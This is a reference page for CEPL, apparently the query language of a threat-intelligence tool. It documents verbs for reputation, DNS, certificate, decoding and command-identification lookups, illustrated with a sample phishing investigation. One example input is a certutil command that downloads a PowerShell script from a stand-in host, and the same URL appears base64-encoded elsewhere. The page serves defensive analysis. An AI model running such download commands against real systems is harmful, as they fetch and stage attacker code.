Reference

Verbs and types

Every verb in CEPL: the types it takes, whether it makes an API call, its modes and the fields of its result. This page is generated from Ceplin's catalogue when the site is built. The examples answer from Ceplin's bundled sample data.

verb	what it does	takes	calls
`abuse_reports()`	IP abuse reports	`ip`	AbuseIPDB
`abuseipdb()`	IP reputation	`ip`	AbuseIPDB
`asn()`	IP to ASN (Cymru)	`ip`, `asn`	team cymru
`cert_lookup()`	Certificate by fingerprint	`cert_fingerprint`, `cert_serial`, `hash`	crt.sh
`compare()`	Compare	`domain`, `hostname`, `url`, `email`, `text`, `ip`, `cidr`, `asn`, `hash`, `imphash`, `fuzzyhash`, `cert_serial`, `cert_fingerprint`, `filename`, `command`, `malware_family`, `tag`	local
`ct_logs()`	Certificate Transparency	`domain`, `hostname`	certspotter
`decode()`	Decode	`text`, `command`, `url`, `domain`, `hostname`, `email`	local
`dns()`	DNS records	`domain`, `hostname`	resolver
`encode()`	Encode	`text`, `command`, `url`, `domain`, `hostname`, `email`, `ip`	local
`geo()`	IP geolocation	`ip`	ip2location.io
`http()`	HTTP fetch	`url`, `domain`, `hostname`, `ip`	the target itself
`identify()`	Command identifier	`command`	local
`import()`	Import rows	`file`	local
`malwarebazaar()`	Sample intel	`hash`	MalwareBazaar
`man()`	Manual page	`command`, `filename`	local
`otx()`	OTX pulses	`ip`, `domain`, `hostname`, `url`, `hash`	AlienVault OTX
`parse_header()`	Parse header	`email_header`	local
`rdap()`	WHOIS / RDAP	`domain`, `ip`, `cidr`	RDAP
`resolve()`	Domain IP resolve	`hostname`, `domain`	local
`reverse_dns()`	Reverse DNS (PTR)	`ip`	local
`routing()`	BGP routing (RIPEstat)	`ip`, `cidr`, `asn`	ripestat
`samples()`	Related samples	`imphash`, `cert_serial`, `malware_family`, `tag`, `fuzzyhash`	MalwareBazaar
`tls_cert()`	TLS certificate (live)	`domain`, `hostname`, `url`, `ip`	the target itself
`urlscan()`	URL scan	`url`, `domain`	urlscan.io
`whatis()`	What is this binary	`filename`, `command`, `hash`	local, or a lookup

#abuse_reports()

IP abuse reports. Takes ip. Calls: one API call per value, to AbuseIPDB. Its key is read from ABUSEIPDB_API_KEY; without it the verb answers from sample data.

Fields

Select one with [field]: .abuse_reports()[reported_at].

field	type	what it holds
`reported_at`	date
`comment`	text	what the reporter wrote
`categories`	list of enum	SSH, Port Scan, Brute-Force and so on
`reporter_country`	country
`reporter_id`	int

#abuseipdb()

IP reputation. Takes ip. Calls: one API call per value, to AbuseIPDB. Its key is read from ABUSEIPDB_API_KEY; without it the verb answers from sample data. Old names, refused with this one: reputation().

CEPL

>>> "185.215.113.66".abuseipdb()
[OK] IP reputation on 185.215.113.66 via AbuseIPDB
    score:         ● 100
    total_reports: ● 1148
    isp:           Prospero OOO
    usage_type:    Data Center/Web Hosting/Transit
    country:       Russian Federation
    is_tor:        ● false
    last_reported: 2026-08-12T22:41:07+00:00

Fields

Select one with [field]: .abuseipdb()[score].

field	type	what it holds
`score`	score	abuse confidence 0-100
`total_reports`	int
`domain`	domain	ISP domain
`hostnames`	list of hostname
`isp`	org
`usage_type`	enum	datacenter / ISP / etc
`country`	country
`is_tor`	bool
`last_reported`	date

#asn()

IP to ASN (Cymru). Takes ip, asn. Calls: one API call per value, to team cymru. Old names, refused with this one: cymru().

CEPL

>>> "45.9.148.112".asn()
[OK] IP to ASN (Cymru) on 45.9.148.112 via team cymru
    asn:       AS202425
    prefix:    45.9.148.0/24
    as_name:   IPVOLUME, NL
    country:   NL
    registry:  ripencc
    allocated: 2019-06-28

Fields

Select one with [field]: .asn()[asn].

field	type	what it holds
`asn`	asn
`prefix`	cidr
`as_name`	org
`country`	country
`registry`	enum	arin / ripencc / apnic / lacnic / afrinic
`allocated`	date

#cert_lookup()

Certificate by fingerprint. Takes cert_fingerprint, cert_serial, hash. Calls: one API call per value, to crt.sh. Old names, refused with this one: cert_id().

CEPL

>>> "secure-login-paypa1.com".tls_cert()[fingerprint_sha256].cert_lookup()
[OK] Certificate by fingerprint on 9f2c41ab77d5e0c318b4a6f92e7d015c8ab39...bb27ce34 via crt.sh
    subject_cn: accounts-verify-paypa1.top
    sans:       accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top
    issuer:     R11
    serial:     04A1F2C7B93E5D6082A1B4C5D6E7F809
    not_before: 2026-07-16T09:14:00Z
    not_after:  2026-10-14T09:13:59Z
    age:        ● 113.1
    logged:     true
    entries:    2
    precert:    true
    source:     crt.sh

Fields

Select one with [field]: .cert_lookup()[subject_cn].

field	type	what it holds
`subject_cn`	domain
`sans`	list of domain	same shape as tls_cert() and ct_logs(), so a verb after it works over any of them
`issuer`	org
`serial`	cert_serial
`not_before`	date
`not_after`	date
`age`	age
`logged`	bool	present in CT at all; absence blocks trust in Chrome
`entries`	int	CT log entries for this certificate
`precert`	bool
`source`	enum

#compare()

Compare. Takes domain, hostname, url, email, text, ip, cidr, asn, hash, imphash, fuzzyhash, cert_serial, cert_fingerprint, filename, command, malware_family, tag. Calls: none, it runs locally. Old names, refused with this one: lookalike().

Fields

Select one with [field]: .compare()[equal].

field	type	what it holds
`equal`	bool
`lookalike`	bool	different, but close enough to pass for it
`technique`	enum	identical, homoglyph, transposition, omission, insertion, replacement, tld swap, addition, hyphenation, subdomain or different
`distance`	int	edits apart; swapping two neighbours is one
`similarity`	score	0 to 100
`changes`	list of text	each edit, in reading order
`confusables`	list of text	lookalike characters standing in for others
`other`	text	the value compared with

#ct_logs()

Certificate Transparency. Takes domain, hostname. Calls: one API call per value, to certspotter. Old names, refused with this one: ct().

CEPL

>>> "secure-login-paypa1.com".ct_logs()
[OK] Certificate Transparency on secure-login-paypa1.com via certspotter
    certificates: 4
    sans:         accounts-verify-paypa1.top cdn-telemetry.xyz mail.accounts-verify-paypa1.top secure-login-paypa1.com webmail.secure-login-paypa1.com www.secure-login-paypa1.com
    issuers:      R10 R11
    first_seen:   2026-07-09T11:02:00Z
    last_seen:    2026-07-16T09:14:00Z
    newest_age:   ● 113.1
    source:       certspotter

Fields

Select one with [field]: .ct_logs()[certificates].

field	type	what it holds
`certificates`	int	issuances found
`sans`	list of domain	every name across every issuance, deduplicated
`issuers`	list of org
`first_seen`	date	earliest issuance
`last_seen`	date	most recent issuance
`newest_age`	age	days since the most recent issuance
`source`	enum	which CT service answered

#decode()

Decode. Takes text, command, url, domain, hostname, email. Calls: none, it runs locally.

CEPL

>>> "aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpbi91cGRhdGUucHMx".decode(auto)
[OK] Decode on aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpb...dGUucHMx
    http://cdn-telemetry.xyz/win/update.ps1
    text:       http://cdn-telemetry.xyz/win/update.ps1
    url:        http://cdn-telemetry.xyz/win/update.ps1
    method:     base64
    confidence: 100

Modes

One mode is required: .decode(mode).

mode	what it does
`auto`	try every decoder that fits, two deep, and keep the most plausible result
`base64`	Base64 (UTF-16LE text is detected and read as text)
`base64_utf16le`	Base64 of UTF-16LE text, as powershell -EncodedCommand carries it
`base32`	Base32
`hex`	hex bytes, with or without 0x, \x, spaces, commas or colons
`url`	%20-style URL encoding
`gzip`	gzip-compressed bytes
`zlib`	zlib-compressed bytes
`inflate`	raw DEFLATE-compressed bytes
`base58`	Base58 (Bitcoin alphabet), as in wallet addresses and some payload stagers
`base62`	Base62 (0-9A-Za-z)
`base45`	Base45 (RFC 9285), as in EU health certificates
`base64url`	Base64 with the - and _ alphabet
`base32hex`	Base32 with the 0-9A-V alphabet
`base85`	Ascii85, with or without the <~ ~> markers
`binary`	8-bit groups of 0 and 1, any separator
`octal`	Octal byte values, space or comma separated
`decimal`	Decimal character codes, as in PowerShell's [char]73,[char]69
`hexdump`	xxd or hexdump -C output: offsets and the ASCII column are dropped
`html_entity`	< A A and the other HTML entities
`quoted_printable`	=3D-style email body encoding
`unicode_escape`	A, %u0041 and U+0041 escapes, surrogate pairs joined
`unescape`	\x41, \101, \n and the other backslash escapes of C, Python and JavaScript strings
`punycode`	xn-- domain labels to the Unicode they stand for (IDN lookalikes)
`jwt`	a JSON Web Token's header and claims (the signature is not checked)
`utf16le`	UTF-16 little-endian bytes to text
`utf16be`	UTF-16 big-endian bytes to text
`rot13`	letters rotated by 13
`rot47`	printable ASCII rotated by 47
`atbash`	A-Z mirrored to Z-A
`reverse`	the text backwards, as malware stores base64
`a1z26`	numbers 1-26 to the letters A-Z
`morse`	dots and dashes, letters split by spaces and words by / or \|
`braille`	Unicode Braille cells to their ASCII Braille letters
`xor_brute`	every single-byte XOR key tried, the most readable result kept (key shown)
`base92`	Base92 (! # to _ a to }, ~ for empty)
`netbios`	a first-level encoded NetBIOS name (FEEFFDFE...) to the name
`citrix_ctx1`	a Citrix CTX1-obfuscated password (NetScaler and StoreFront configs)
`ip`	an IPv4 address written as one number, hex or octal (3232235777, 0xC0A80101, 0300.0250.1.1) as dotted decimal
`strings`	runs of four or more printable characters, one per line, as strings(1) finds them
`bacon`	A/B groups of five to letters (I=J, U=V)
`fang`	defanged indicators made real again: hxxp, [.], (dot), [@], [:]
`strip_nulls`	NUL bytes removed
`strip_whitespace`	spaces, tabs and line breaks removed
`entropy`	Shannon entropy in bits per byte: near 8 is compressed or encrypted
`unix_time`	seconds (or milliseconds, microseconds) since 1970 as a UTC date
`filetime`	a Windows FILETIME (100 ns since 1601), decimal or 0x hex, as a UTC date

Fields

Select one with [field]: .decode()[text].

field	type	what it holds
`text`	text	decoded output
`url`	url	URL found in the decoded output
`method`	enum	the operations applied
`confidence`	score	how strongly the output looks decoded (auto only)

#dns()

DNS records. Takes domain, hostname. Calls: one API call per value, to resolver. Old names, refused with this one: records().

CEPL

>>> "secure-login-paypa1.com".dns()
[OK] DNS records on secure-login-paypa1.com via resolver
    a:            185.215.113.66
    mx:           mail.accounts-verify-paypa1.top
    ns:           ns1.bullethost.net ns2.bullethost.net
    spf_includes: _spf.sendgrid.net
    spf_ips:      185.215.113.0/24
    dmarc_policy: none
    dmarc_rua:    dmarc@paypa1-reports.top
    caa_issuers:  letsencrypt.org
    soa_email:    admin@bullethost.net
    soa_serial:   2026071601
    txt:          v=spf1 include:_spf.sendgrid.net ip4:185.215.113.0/24 -all
                  google-site-verification=abc123

Fields

Select one with [field]: .dns()[a].

field	type	what it holds
`a`	list of ip
`aaaa`	list of ip
`mx`	list of hostname	mail exchangers; no MX means no reply channel
`ns`	list of hostname	nameserver patterns are a durable hosting tell
`spf_includes`	list of domain	domains the operator declares they send mail through
`spf_ips`	list of cidr	address space declared in SPF
`dmarc_policy`	enum	none / quarantine / reject
`dmarc_rua`	list of email	where DMARC reports go, often a real mailbox
`caa_issuers`	list of domain	CAs permitted to issue; compare against the served certificate
`soa_email`	email
`soa_serial`	int
`txt`	list of text	raw TXT, mostly verification noise

#encode()

Encode. Takes text, command, url, domain, hostname, email, ip. Calls: none, it runs locally.

CEPL

>>> "http://cdn-telemetry.xyz/win/update.ps1".encode(defang)
[OK] Encode on http://cdn-telemetry.xyz/win/update.ps1
    hxxp[://]cdn-telemetry[.]xyz/win/update[.]ps1
    text:   hxxp[://]cdn-telemetry[.]xyz/win/update[.]ps1
    method: defang

Modes

One mode is required: .encode(mode).

mode	what it does
`base64`	the text as Base64
`base64_utf16le`	the text as powershell -EncodedCommand carries it, to search EDR and logs for a known command
`base64_offsets`	the three Base64 forms the text takes inside a longer blob, one per line: search for any of them to find it encoded
`base64_offsets_utf16le`	the same for UTF-16LE text, to find a string inside a powershell -EncodedCommand
`hex`	the text as hex bytes, no separator
`url`	every character but A-Z a-z 0-9 - _ . ~ percent-encoded
`hexdump`	the bytes as hexdump -C shows them, for decoded output that is not text
`defang`	URLs, domains, addresses and emails made unclickable to share: hxxps[://]example[.]com
`md5`	the MD5 digest, as a hash to look up
`sha1`	the SHA-1 digest, as a hash to look up
`sha256`	the SHA-256 digest, as a hash to look up
`sha512`	the SHA-512 digest, as a hash to look up

Fields

Select one with [field]: .encode()[text].

field	type	what it holds
`text`	text	encoded output
`hash`	hash	the digest, for md5, sha1, sha256 and sha512
`method`	enum	the encoding applied

#geo()

IP geolocation. Takes ip. Calls: one API call per value, to ip2location.io. Its key is read from IP2LOCATION_API_KEY; without it the verb is refused, saying the key is not set. Old names, refused with this one: geoip(), locate().

CEPL

>>> "185.215.113.66".geo()
[OK] IP geolocation on 185.215.113.66 via ip2location.io
    country_code: NL
    country_name: Netherlands
    region_name:  North Holland
    city_name:    Amsterdam
    latitude:     52.37403
    longitude:    4.88969
    zip_code:     1012
    time_zone:    +02:00
    asn:          AS200593
    as:           PROSPERO OOO
    is_proxy:     ● true

Fields

Select one with [field]: .geo()[country_code].

field	type	what it holds
`country_code`	country
`country_name`	text
`region_name`	text
`city_name`	text
`latitude`	text
`longitude`	text
`zip_code`	text
`time_zone`	enum
`asn`	asn	the field abuseipdb() does not emit; chains into routing()
`as`	org	network holder
`is_proxy`	bool	VPN, relay or open proxy: the address is a waypoint, not an origin

#http()

HTTP fetch. Takes url, domain, hostname, ip. Calls: one connection per value, to the host itself. Old names, refused with this one: fetch().

CEPL

>>> "secure-login-paypa1.com".http()[status, final_url, title, password_field, external_hosts]
[OK] HTTP fetch [status, final_url, title, password_field, external_hosts] on secure-login-paypa1.com via direct
    status:         200
    final_url:      https://accounts-verify-paypa1.top/login
    title:          PayPal — Verify your account
    password_field: true
    external_hosts: cdn-telemetry.xyz collector-9x2.top www.paypalobjects.com

Fields

Select one with [field]: .http()[status].

field	type	what it holds
`status`	http_status	is it still live
`final_url`	url	after redirects
`redirect_chain`	list of url	every URL in the walk, request first; off-domain hops are a phishing tell
`redirects`	int	hop count
`server`	text
`title`	text
`content_type`	enum	media type, parameters stripped
`content_length`	int	bytes actually received
`body_sha256`	hash	over the received bytes; same kit on another domain links campaigns
`ip`	ip	address actually connected to
`cert_issuer`	org
`cert_sans`	list of domain	sibling infrastructure: the highest-value pivot here
`cert_serial`	cert_serial
`cert_age`	age	days since notBefore; a 3-day-old cert on a lookalike is near-conclusive
`forms`	int
`password_field`	bool	is it harvesting credentials
`external_hosts`	list of domain	hosts the markup posts or loads from
`body`	text	full response body; chains into extract(), find() and the decoders

#identify()

Command identifier. Takes command. Calls: none, it runs locally. Old names, refused with this one: identify_flags(), flags().

CEPL

>>> "certutil -urlcache -split -f http://cdn-telemetry.xyz/win/update.ps1 C:\Users\Public\u.ps1".identify()
[OK] Command identifier on certutil -urlcache -split -f http://c...ic\u.ps1
    binary:         certutil.exe
    summary:        Certutil.exe is a command-line program installed as part of Certificate Services.
    flags:          -urlcache Displays or deletes URL cache entries.
                    -split Split embedded ASN.1 elements, and save to files.
                    -f Force overwrite.
    urls:           http://cdn-telemetry.xyz/win/update.ps1
    lolbas:         Download (T1105)
    sigma:          [MEDIUM] Suspicious Download Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
    sigma_possible: [MEDIUM] LOLBIN Execution From Abnormal Drive by Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Angelo Violetti - SEC Consult '@angelo_violetti', Aaron Herman
    sigma_rules:    1
    level:          medium
    techniques:     T1105 Ingress Tool Transfer
                    T1027 Obfuscated Files or Information

Modes

A mode is optional: .identify() or .identify(mode).

mode	what it does
`linux`	read as a Linux command: shell rules, Linux pages
`macos`	read as a macOS command: shell rules, macOS pages
`windows`	read as a Windows command: cmd.exe rules, Windows pages
`powershell`	read as PowerShell: cmdlets, parameters, .NET
`netscaler`	read as a NetScaler ADC CLI command
`fortios`	read as FortiOS CLI (config / edit / set)
`iosxe`	read as Cisco IOS XE configuration
`junos`	read as Junos configuration (set lines or the curly form)

Fields

Select one with [field]: .identify()[binary].

field	type	what it holds
`binary`	filename
`platform`	text	the CLI the line is read as when it is not a Unix or Windows program (NetScaler ADC CLI, FortiOS CLI, FortiOS event log, Cisco IOS XE CLI, Junos CLI)
`match`	text	a caveat on the reading: "by name only" when the program's options reference documents none of the options given
`subcommand`	text
`summary`	text
`processes`	list of text	every process the text would start, wrappers and chains included
`explained`	list of text	each part of a PowerShell command: cmdlets, parameters, .NET calls
`decoded`	command	the script under -EncodedCommand
`deobfuscated`	command	the script with backticks in words and split strings undone
`endpoints`	list of text	host:port pairs a TCP client is opened to
`urls`	list of url	addresses in the command
`flags`	list of text	each option and what it does
`lolbas`	list of enum	LOLBAS abuse this command line matches
`gtfobins`	list of enum	GTFOBins functions this command line matches
`sigma`	list of text	Sigma rules it trips: title, level, author
`sigma_possible`	list of text	rules it trips unless the parent process, user or folder (which a command line cannot show) rules it out
`sigma_rules`	int
`level`	enum	the highest Sigma level matched
`techniques`	list of text	MITRE ATT&CK ids

#import()

Import rows. Takes file. Calls: none, it runs locally.

#malwarebazaar()

Sample intel. Takes hash. Calls: one API call per value, to MalwareBazaar. Its key is read from MALWAREBAZAAR_API_KEY; without it the verb answers from sample data.

CEPL

>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()
[OK] Sample intel on 9a1b6f0c33e51d2a48b7e90d1c2f4a55 via MalwareBazaar
    md5 (bare hex of digest length; could be hex data - override available)
    sha256:          b4c9e2a7f0d81135c66aa2e94b7d30f8a1c5e6d2b9f04a7c8e1d3f5a6b7c8d90
    md5:             9a1b6f0c33e51d2a48b7e90d1c2f4a55
    sha1:            3f8e2c1a9b7d6e5f4a3c2b1d0e9f8a7b6c5d4e3f
    signature:       AgentTesla
    imphash:         2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6
    cert_serial:     3A9F00C21B7D4E85A6F1029384756ABC
    cert_subject:    Hangzhou Ledong Network Technology Co., Ltd.
    cscb_listed:     true
    tags:            AgentTesla exe TA558
    yara_rules:      win_agenttesla_v4
    file_name:       PO-8823_shipping.exe
    file_type:       exe
    first_seen:      2026-07-19 06:12:44
    last_seen:       2026-07-21 03:55:10
    delivery_method: email_attachment

Fields

Select one with [field]: .malwarebazaar()[sha256].

field	type	what it holds
`sha256`	hash
`md5`	hash
`sha1`	hash
`signature`	malware_family	malware family
`imphash`	imphash	shared import table
`ssdeep`	fuzzyhash
`tlsh`	fuzzyhash
`cert_serial`	cert_serial	code-signing serial
`cert_subject`	org
`cscb_listed`	bool	cert on the blocklist
`tags`	list of tag
`yara_rules`	list of yara_rule
`file_name`	filename
`file_type`	enum
`first_seen`	date
`last_seen`	date
`delivery_method`	enum

#man()

Manual page. Takes command, filename. Calls: none, it runs locally.

CEPL

>>> "tar".man()[synopsis]
[OK] Manual page [synopsis] on tar
    [tar [-cxt] [-fvohmjkOS] [-XTCf NAME] [--selinux] [FILE...]]

Fields

Select one with [field]: .man()[name].

field	type	what it holds
`name`	text
`platform`	enum
`synopsis`	list of text
`description`	text
`options`	list of text	each option and its description
`examples`	list of command	example command lines
`see_also`	list of text
`source`	text	which manual this is
`page`	text	the whole page, laid out as a manual

#otx()

OTX pulses. Takes ip, domain, hostname, url, hash. Calls: one API call per value, to AlienVault OTX. A key in OTX_API_KEY is optional: AlienVault OTX answers without one. Old names, refused with this one: alienvault().

Fields

Select one with [field]: .otx()[pulse_count].

field	type	what it holds
`pulse_count`	int	OTX pulses that name it
`pulses`	list of text	the pulses' names, newest first
`tags`	list of tag
`malware_families`	list of malware_family
`adversaries`	list of text
`references`	list of url
`country`	country
`asn`	asn
`last_pulse`	date	when the newest pulse was changed
`whitelisted`	bool	OTX lists it as known good

#parse_header()

Parse header. Takes email_header. Calls: none, it runs locally.

Fields

Select one with [field]: .parse_header()[from].

field	type	what it holds
`from`	email
`return_path`	email	envelope sender; a mismatch with From is a tell
`to`	email
`subject`	text
`date`	date
`message_id`	text
`originating_ip`	ip	X-Originating-IP or the first public IP in the Received chain
`received_hops`	int
`auth_results`	text	SPF/DKIM/DMARC verdicts

#rdap()

WHOIS / RDAP. Takes domain, ip, cidr. Calls: one API call per value, to RDAP. Old names, refused with this one: whois().

CEPL

>>> "secure-login-paypa1.com".rdap()
[OK] WHOIS / RDAP on secure-login-paypa1.com via RDAP
    age:                   ● 113.7
    registered:            2026-07-15T18:20:31.000Z
    registrar:             NameSilo, LLC
    registrar_abuse_email: abuse@namesilo.com
    nameservers:           ns1.bullethost.net ns2.bullethost.net
    status:                active
    dnssec:                false

Fields

Select one with [field]: .rdap()[age].

field	type	what it holds
`age`	age	days since registration (for `domain`, `hostname`, `url`)
`registered`	date	(for `domain`, `hostname`, `url`)
`expires`	date	(for `domain`, `hostname`, `url`)
`registrar`	org	(for `domain`, `hostname`, `url`)
`registrar_abuse_email`	email	takedown contact (for `domain`, `hostname`, `url`)
`nameservers`	list of hostname	(for `domain`, `hostname`, `url`)
`status`	list of enum	(for `domain`, `hostname`, `url`)
`dnssec`	bool	(for `domain`, `hostname`, `url`)
`registrant_email`	email	usually redacted (for `domain`, `hostname`, `url`)
`net_range`	text	allocated address range (for `ip`, `cidr`, `asn`)
`net_name`	text	(for `ip`, `cidr`, `asn`)
`net_type`	enum	allocation type (for `ip`, `cidr`, `asn`)
`cidr`	cidr	(for `ip`, `cidr`, `asn`)
`asn`	asn	originating AS (for `ip`, `cidr`, `asn`)
`org`	org	(for `ip`, `cidr`, `asn`)
`country`	country	(for `ip`, `cidr`, `asn`)
`abuse_email`	email	network abuse contact (for `ip`, `cidr`, `asn`)

#resolve()

Domain IP resolve. Takes hostname, domain. Calls: none, it runs locally. Old names, refused with this one: dns_resolve().

CEPL

>>> "cdn-telemetry.xyz".resolve()
[OK] Domain IP resolve on cdn-telemetry.xyz
    ip: 45.9.148.112

Fields

Select one with [field]: .resolve()[ip].

field	type	what it holds
`ip`	ip

#reverse_dns()

Reverse DNS (PTR). Takes ip. Calls: none, it runs locally. Old names, refused with this one: ptr().

CEPL

>>> "45.9.148.112".reverse_dns()
[OK] Reverse DNS (PTR) on 45.9.148.112
    hostname: unassigned.ipvolume.net

Fields

Select one with [field]: .reverse_dns()[hostname].

field	type	what it holds
`hostname`	hostname

#routing()

BGP routing (RIPEstat). Takes ip, cidr, asn. Calls: one API call per value, to ripestat. Old names, refused with this one: bgp().

CEPL

>>> "185.215.113.66".routing()
[OK] BGP routing (RIPEstat) on 185.215.113.66 via ripestat
    prefix:           185.215.113.0/24
    origin_asn:       AS200593
    holder:           PROSPERO-AS
    announced:        true
    neighbours:       AS9009 AS49666 AS207137
    related_prefixes: 185.215.112.0/24 185.215.113.0/24 45.9.148.0/24
    first_seen:       2024-11-02T00:00:00
    last_seen:        2026-08-13T08:00:00

Fields

Select one with [field]: .routing()[prefix].

field	type	what it holds
`prefix`	cidr	the announced prefix, often longer than the registered one
`origin_asn`	asn
`holder`	org
`announced`	bool	false is a finding: registered but dark
`neighbours`	list of asn
`related_prefixes`	list of cidr	other space the same origin announces
`first_seen`	date
`last_seen`	date

#samples()

Related samples. Takes imphash, cert_serial, malware_family, tag, fuzzyhash. Calls: one API call per value, to MalwareBazaar. Its key is read from MALWAREBAZAAR_API_KEY; without it the verb answers from sample data.

CEPL

>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[imphash].samples()[file_name, first_seen]
[OK] Related samples [file_name, first_seen] on 3 imphashes via MalwareBazaar
    imphash                           file_name              first_seen
    ────────────────────────────────────────────────────────────────────────────
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  PO-8823_shipping.exe   2026-07-19 06:12:44
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  Invoice_June_2026.exe  2026-06-30 11:02:19
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  swift_copy.exe         2026-03-04 09:47:33

Fields

Select one with [field]: .samples()[sha256].

field	type	what it holds
`sha256`	hash
`md5`	hash
`sha1`	hash
`signature`	malware_family	malware family
`imphash`	imphash	shared import table
`ssdeep`	fuzzyhash
`tlsh`	fuzzyhash
`cert_serial`	cert_serial	code-signing serial
`cert_subject`	org
`cscb_listed`	bool	cert on the blocklist
`tags`	list of tag
`yara_rules`	list of yara_rule
`file_name`	filename
`file_type`	enum
`first_seen`	date
`last_seen`	date
`delivery_method`	enum

#tls_cert()

TLS certificate (live). Takes domain, hostname, url, ip. Calls: one connection per value, to the host itself. Old names, refused with this one: cert().

CEPL

>>> "secure-login-paypa1.com".tls_cert()
[OK] TLS certificate (live) on secure-login-paypa1.com via direct
    subject_cn:         accounts-verify-paypa1.top
    sans:               accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top
    issuer:             R11
    serial:             04A1F2C7B93E5D6082A1B4C5D6E7F809
    fingerprint_sha256: 9f2c41ab77d5e0c318b4a6f92e7d015c8ab394ff2016d7cbe5a41d90bb27ce34
    not_before:         2026-07-16T09:14:00Z
    not_after:          2026-10-14T09:13:59Z
    age:                ● 113.1
    expires_in:         62
    trusted:            true
    self_signed:        false
    chain_length:       2
    key_algo:           ECDSA-P-256
    sig_algo:           SHA256-RSA
    served_ip:          185.215.113.66

Fields

Select one with [field]: .tls_cert()[subject_cn].

field	type	what it holds
`subject_cn`	domain	common name on the served cert
`sans`	list of domain	sibling infrastructure on the same certificate
`issuer`	org
`serial`	cert_serial
`fingerprint_sha256`	cert_fingerprint	identifies this exact certificate wherever else it is served
`not_before`	date
`not_after`	date
`age`	age	days since issue; a 3-day-old cert on a lookalike is near-conclusive
`expires_in`	int	days remaining; negative if already expired
`trusted`	bool	does it verify against the system roots
`self_signed`	bool
`chain_length`	int
`key_algo`	enum
`sig_algo`	enum
`served_ip`	ip	address the handshake reached

#urlscan()

URL scan. Takes url, domain. Calls: one API call per value, to urlscan.io.

CEPL

>>> "secure-login-paypa1.com".urlscan()
[OK] URL scan on secure-login-paypa1.com via urlscan.io
    final_url:   https://accounts-verify-paypa1.top/login
    ip:          185.215.113.66
    asn:         AS200593
    domain:      accounts-verify-paypa1.top
    apex_domain: accounts-verify-paypa1.top
    age:         ● 6
    redirected:  off-domain
    status:      200
    title:       PayPal - Verify your account
    server:      nginx
    country:     RU
    screenshot:  https://urlscan.io/screenshots/019f88a1.png

Fields

Select one with [field]: .urlscan()[final_url].

field	type	what it holds
`final_url`	url	post-redirect landing page
`ip`	ip
`asn`	asn	emit-only until a BGP source is added
`domain`	domain
`apex_domain`	domain
`age`	age	domain age in days
`redirected`	enum	off-domain is a phishing tell
`status`	http_status
`title`	text
`server`	text
`country`	country
`screenshot`	image

#whatis()

What is this binary. Takes filename, command, hash. Calls: a lookup for some values and none for others. Old names, refused with this one: hashlookup(), knownfile().

CEPL

>>> "rundll32.exe".whatis()
[OK] What is this binary on rundll32.exe
    name:        rundll32.exe
    kind:        executable
    platforms:   windows
    description: Windows host process (Rundll32)
    product:     Microsoft Windows Operating System
    company:     Microsoft Corporation
    paths:       C:\Windows\system32\ C:\Windows\SysWOW64\
    signer:      Microsoft Windows
    lolbas:      Execute ADS
    techniques:  T1218.011 T1564.004
    sigma_rules: 138
    links:       https://lolbas-project.github.io/lolbas/OSBinaries/Rundll32/
    sources:     lolbas xcyclopedia

Modes

A mode is optional: .whatis() or .whatis(mode).

mode	what it does
`linux`	read as a Linux command: shell rules, Linux pages
`macos`	read as a macOS command: shell rules, macOS pages
`windows`	read as a Windows command: cmd.exe rules, Windows pages
`powershell`	read as PowerShell: cmdlets, parameters, .NET
`netscaler`	read as a NetScaler ADC CLI command
`fortios`	read as FortiOS CLI (config / edit / set)
`iosxe`	read as Cisco IOS XE configuration
`junos`	read as Junos configuration (set lines or the curly form)

Fields

Select one with [field]: .whatis()[name].

field	type	what it holds
`name`	filename
`kind`	enum	executable / library / driver / script / program
`platforms`	list of enum
`description`	text	the file's own version-info description
`summary`	text	what the command does (tldr-pages)
`product`	text
`company`	org
`original_name`	filename	the name it was built as, when it differs
`paths`	list of text	folders it was seen in
`signer`	org
`examples`	list of command	example command lines (tldr-pages)
`lolbas`	list of enum	LOLBAS abuse categories
`gtfobins`	list of enum	GTFOBins functions
`driver`	enum	vulnerable driver / malicious (LOLDrivers)
`rmm`	text	remote-management tool (LOLRMM)
`techniques`	list of text	MITRE ATT&CK ids
`sigma_rules`	int	Sigma rules that name it
`links`	list of text
`sources`	list of text
`match`	text	which known copy the hash is (for `hash`)
`version`	text	(for `hash`)
`signed`	bool	(for `hash`)
`package`	text	the Linux package it ships in (CIRCL) (for `hash`)
`os`	text	the operating system it belongs to (NSRL) (for `hash`)
`trust`	score	CIRCL's 0-100: 50 unknown, higher when seen in more places (for `hash`)
`known_malicious`	list of text	sources that also call it malicious (for `hash`)

#Types

Every artefact has a type, recognised from the value, and a verb lists the types it takes. These are the types you can write between the quotes, and the verbs that take each one directly.

type	for example	taken by
`ip`	`"203.0.113.7"`	`abuse_reports()`, `abuseipdb()`, `asn()`, `compare()`, `encode()`, `geo()`, `http()`, `otx()`, `rdap()`, `reverse_dns()`, `routing()`, `tls_cert()`
`cidr`	`"198.51.100.0/24"`	`compare()`, `rdap()`, `routing()`
`domain`	`"sus-domain.com"`	`compare()`, `ct_logs()`, `decode()`, `dns()`, `encode()`, `http()`, `otx()`, `rdap()`, `resolve()`, `tls_cert()`, `urlscan()`
`url`	`"https://sus-domain.com/login"`	`compare()`, `decode()`, `encode()`, `http()`, `otx()`, `tls_cert()`, `urlscan()`
`email`	`"info@sus-domain.com"`	`compare()`, `decode()`, `encode()`
`asn`	`"AS64500"`	`asn()`, `compare()`, `routing()`
`hash`	`"44d88612fea8a8f36de82e1278abb02f"`	`compare()`, `malwarebazaar()`, `otx()`, `whatis()`
`command`	`"whoami /all"`	`compare()`, `decode()`, `encode()`, `identify()`, `man()`, `whatis()`
`filename`	`"rundll32.exe"`	`compare()`, `man()`, `whatis()`
`text`	`"eC5jb20="`	`compare()`, `decode()`, `encode()`
